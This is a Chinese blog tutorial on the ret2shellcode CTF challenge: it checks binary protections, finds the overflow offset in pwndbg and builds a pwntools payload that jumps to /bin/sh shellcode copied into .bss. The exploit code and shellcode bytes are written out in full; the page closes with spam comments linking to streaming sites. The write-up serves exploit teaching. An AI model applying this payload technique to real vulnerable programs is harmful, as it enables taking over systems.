博客网址:www.shicoder.top
微信:kj11011029
欢迎加群聊天 :452380935
上一次我们使用栈溢出对ret2text进行溢出,但是该程序自己有一个shellcode,一般情况都是没有的,这次我们就来解决一个没有自带shellcode的程序
同样,我们先来运行下这个程序
ROP$ ./ret2shellcode
No system for you this time !!!
可以看到这次已经提醒你没有预先写好的shell函数供你使用,因此我们的想法是自己写一段shell,然后在返回地址覆盖为shell的地址,那么写到哪里呢,有2个地方:
- 栈
- bss
我们可以首先看下开启了哪些保护
ROP$ checksec ret2shellcode
[*] '/home/pwn/桌面/题目/ROP/ret2shellcode'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
有一个可读可写可执行,我们去看下各个段的权限
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x8048000 0x8049000 r-xp 1000 0 /home/pwn/桌面/题目/ROP/ret2shellcode
0x8049000 0x804a000 r-xp 1000 0 /home/pwn/桌面/题目/ROP/ret2shellcode
0x804a000 0x804b000 rwxp 1000 1000 /home/pwn/桌面/题目/ROP/ret2shellcode
0xf7dcb000 0xf7fb3000 r-xp 1e8000 0 /usr/lib/i386-linux-gnu/libc-2.31.so
0xf7fb3000 0xf7fb5000 r-xp 2000 1e7000 /usr/lib/i386-linux-gnu/libc-2.31.so
0xf7fb5000 0xf7fb7000 rwxp 2000 1e9000 /usr/lib/i386-linux-gnu/libc-2.31.so
0xf7fb7000 0xf7fb9000 rwxp 2000 0
0xf7fcb000 0xf7fcd000 rwxp 2000 0
0xf7fcd000 0xf7fd0000 r--p 3000 0 [vvar]
0xf7fd0000 0xf7fd1000 r-xp 1000 0 [vdso]
0xf7fd1000 0xf7ffb000 r-xp 2a000 0 /usr/lib/i386-linux-gnu/ld-2.31.so
0xf7ffc000 0xf7ffd000 r-xp 1000 2a000 /usr/lib/i386-linux-gnu/ld-2.31.so
0xf7ffd000 0xf7ffe000 rwxp 1000 2b000 /usr/lib/i386-linux-gnu/ld-2.31.so
0xfffdd000 0xffffe000 rwxp 21000 0 [stack]
发现栈是可读可写可执行,那是不是就可以直接将程序写在栈上面,然后将返回地址覆盖为该程序地址呢?其实不可以,首先是否可以在栈上执行程序,有3个防护措施都有关
- canny
每次在进入新函数的时候,之前是直接填充新函数的栈帧,但是这个措施可以在填充之前先加一个canny(一个特定的数值),当调用函数返回时候,先检查该值是否为填充的值,若不一样,则直接程序退出,由于我们覆盖栈,肯定是要覆盖栈帧,所以覆盖完之后,就会发现canny没有了,就会失败
- nx
栈是否可以执行
- ASLR
随机化程序的堆、栈、共享内存的地址,这样随机化之后,我们就不能在栈上写程序,因为每次地址都会变化
sudo cat /proc/sys/kernel/randomize_va_space
0:关闭
1:随机化栈基地址(stack)、共享库(.so\libraries)、mmap 基地址
2:在1基础上,增加随机化堆基地址(chunk)
在做题的时候,基本上这个都是打开的,所以一般不要想在栈上执行程序
那基于此,我们只能在bss上执行程序,我们在IDA
可以看到
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets(&s);
strncpy(buf2, &s, 0x64u);
printf("bye bye ~");
return 0;
}
有一个strncpy函数,拷贝到buf2中,我们可以看到buf2是一个全局变量,因此在bss中,那刚好,就把s中的内容移到bss中,然后覆盖地址为bss的起始地址,bss中起始内容就是shellcode,那么开始把
首先pwn
包提供产生一段shellcode代码
>>> shellcode = asm(shellcraft.sh())
>>> shellcode
b'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80
然后我们用GDB
看下填充多少字节
pwndbg> stack 40
00:0000│ esp 0xffffd0f0 —▸ 0xffffd10c ◂— 'AAAAAAAA'
01:0004│ 0xffffd0f4 ◂— 0x0
02:0008│ 0xffffd0f8 ◂— 0x1
03:000c│ 0xffffd0fc ◂— 0x0
... ↓
06:0018│ 0xffffd108 —▸ 0xf7ffd000 ◂— and al, 0xbf /* 0x2bf24 */
07:001c│ eax 0xffffd10c ◂— 'AAAAAAAA'
... ↓
09:0024│ edx 0xffffd114 ◂— 0x500
0a:0028│ 0xffffd118 ◂— 0xa5
0b:002c│ 0xffffd11c —▸ 0xf7fb3a80 (__dso_handle) ◂— cmp byte ptr [edx], 0xfb
0c:0030│ 0xffffd120 ◂— 0x0
0d:0034│ 0xffffd124 —▸ 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— insb byte ptr es:[edi], dx /* 0x1e9d6c */
0e:0038│ 0xffffd128 —▸ 0xf7ffc7e0 (_rtld_global_ro) ◂— add byte ptr [eax], al
0f:003c│ 0xffffd12c —▸ 0xf7fb8c68 (__exit_funcs_lock) ◂— 0
10:0040│ 0xffffd130 —▸ 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— insb byte ptr es:[edi], dx /* 0x1e9d6c */
11:0044│ 0xffffd134 —▸ 0xf7fe22f0 ◂— endbr32
12:0048│ 0xffffd138 ◂— 0x0
13:004c│ 0xffffd13c —▸ 0x804838d (_init+9) ◂— add ebx, 0x1c73
14:0050│ 0xffffd140 —▸ 0xf7fb53fc (__exit_funcs) —▸ 0xf7fb6900 (initial) ◂— 0
15:0054│ 0xffffd144 ◂— 0x40000
16:0058│ 0xffffd148 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f14 (_DYNAMIC) ◂— add dword ptr [eax], eax
17:005c│ 0xffffd14c —▸ 0x8048622 (__libc_csu_init+82) ◂— add edi, 1
18:0060│ 0xffffd150 ◂— 0x1
19:0064│ 0xffffd154 —▸ 0xffffd214 —▸ 0xffffd3c0 ◂— 0x6d6f682f ('/hom')
1a:0068│ 0xffffd158 —▸ 0xffffd21c —▸ 0xffffd3ea ◂— 'SSH_AUTH_SOCK=/run/user/1000/keyring/ssh'
1b:006c│ 0xffffd15c —▸ 0xf7e03519 (__cxa_atexit+41) ◂— add esp, 0x1c
1c:0070│ 0xffffd160 —▸ 0xf7fe22f0 ◂— endbr32
1d:0074│ 0xffffd164 ◂— 0x0
1e:0078│ 0xffffd168 —▸ 0x80485db (__libc_csu_init+11) ◂— add ebx, 0x1a25
1f:007c│ 0xffffd16c ◂— 0x0
20:0080│ 0xffffd170 —▸ 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— insb byte ptr es:[edi], dx /* 0x1e9d6c */
... ↓
22:0088│ ebp 0xffffd178 ◂— 0x0
23:008c│ 0xffffd17c —▸ 0xf7de9ee5 (__libc_start_main+245) ◂— add esp, 0x10
24:0090│ 0xffffd180 ◂— 0x1
25:0094│ 0xffffd184 —▸ 0xffffd214 —▸ 0xffffd3c0 ◂— 0x6d6f682f ('/hom')
26:0098│ 0xffffd188 —▸ 0xffffd21c —▸ 0xffffd3ea ◂— 'SSH_AUTH_SOCK=/run/user/1000/keyring/ssh'
27:009c│ 0xffffd18c —▸ 0xffffd1a4 ◂— 0x0
从0xffffd10c
到0xffffd17c
填充112字节垃圾数据,从0xffffd17c
填充4字节的地址
因此payload
为
shellcode = asm(shellcraft.sh())
buf = 0x0804A080 # bss段的地址
payload = shellcode.ljust(112,b'A')+p32(buf)
其中的buf通过IDA
看到
bss:0804A080 buf2 db 64h dup(?) ; DATA XREF: main+7B↑o
最后便可以成功拿到shell啦,感谢大家的阅读
评论一下
叼茂SEO.bfbikes.com
叼茂SEO.bfbikes.com
怎么收藏这篇文章?
想想你的文章写的特别好https://www.237fa.com/
想想你的文章写的特别好https://www.ea55.com/
《暗界之主》短片剧高清在线免费观看:https://www.jgz518.com/xingkong/26038.html
《女演员大作战》喜剧片高清在线免费观看:https://www.jgz518.com/xingkong/97554.html
《魂断加尔各答》剧情片高清在线免费观看:https://www.jgz518.com/xingkong/5818.html